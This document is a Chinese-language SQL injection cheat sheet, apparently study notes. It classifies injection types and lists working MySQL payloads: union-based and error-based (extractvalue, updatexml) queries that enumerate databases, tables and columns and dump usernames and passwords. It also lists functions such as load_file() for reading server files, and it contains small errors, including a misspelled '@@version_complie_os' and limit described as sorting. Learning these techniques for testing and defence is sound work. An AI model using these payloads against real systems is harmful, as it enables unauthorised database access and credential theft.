SQL注入

SQL注入

注入分类

依据注入点类型分类

数字型的注入

字符串类型的注入

搜索型注入

依据提交方式分类

GET注入

POST注入

COOKIE注入

HTTP头注入(XFF注入、UA注入、Referer注入)

依据获取信息的方式分类

基于布尔的盲注

基于时间的盲注

基于报错的注入

联合查询注入

堆查询注入(可同时执行多条语句)

联合注入

判断是否存在SQL注入(检查闭合符号是否符号,注释是否被过滤,-1)

1' or 1=1#

查询列(报错就说明列数不对,选择上一位)

1' order by 3#

1' union select 1,database()#

1' union select 1,group_concat(table_name)  from information_schema.tables where table_schema = database()#

列(将查询到的表名放到''里)

1' union select 1,group_concat(column_name) from information_schema.columns where table_name = 'users'#

查询(需要查询的值放到select后)

1' union select username,password from users#

报错注入

extractvalue函数

正常语法:extractvalue(xml_document,Xpath_string)
第一个参数:xml_document是string格式,为xml文档对象名称
第二个参数:Xpath_String是Xpath格式字符串
作用:从目标xml中返回包含所查询值的字符串

1'or(extractvalue(1,concat(0x7e,(select database()))))#

1'or(extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))#

1'or(extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'))))#

1'or(extractvalue(1,concat(0x7e,(select group_concat(username,password) from users))))#

updatexml

正常语法:updatexml(xml_document,xpath_string,net_value)
第一个参数:xml_document是string形式,为xml文档对象的名称
第二个参数:xpath_string是xpath格式的字符串
第三个参数:new_value是string格式,替换查找到的负荷条件的数据
作用:改变文档中符合条件的节点值

1'or updatexml(1,concat(0x7e,(select database()),0x7e),1)#

1'or updatexml(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e),1)#

1'or updatexml(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='users'),0x7e),1)#

1'or updatexml(1,concat(0x7e,(select group_concat(username,password) from users),0x7e),1)#

关于注释符

/**/

-- (后面有空格)

--+

关于函数释义

information_schema数据库中三个很重要的表:

​    information_schema.schemata: 该数据表存储了mysql数据库中的所有数据库的库名

​    information_schema.tables: 该数据表存储了mysql数据库中的所有数据表的表名

​    information_schema.columns: 该数据表存储了mysql数据库中的所有列的列名

0x7e = ~

count():返回某列行数

rand():随机输出一个小于1的正数

floor():输出的结果取整

group by语句:结果分组

concat():连接两条语句

limit:数据库中的排序

关于mysql常见函数

version():查询数据库的版本

user():查询数据库的使用者

database():数据库

system_user():系统用户名

session_user():连接数据库的用户名

current_user:当前用户名

load_file():读取本地文件

@@datadir:读取数据库路径

@@basedir:mysql安装路径

@@version_complie_os:查看操作系统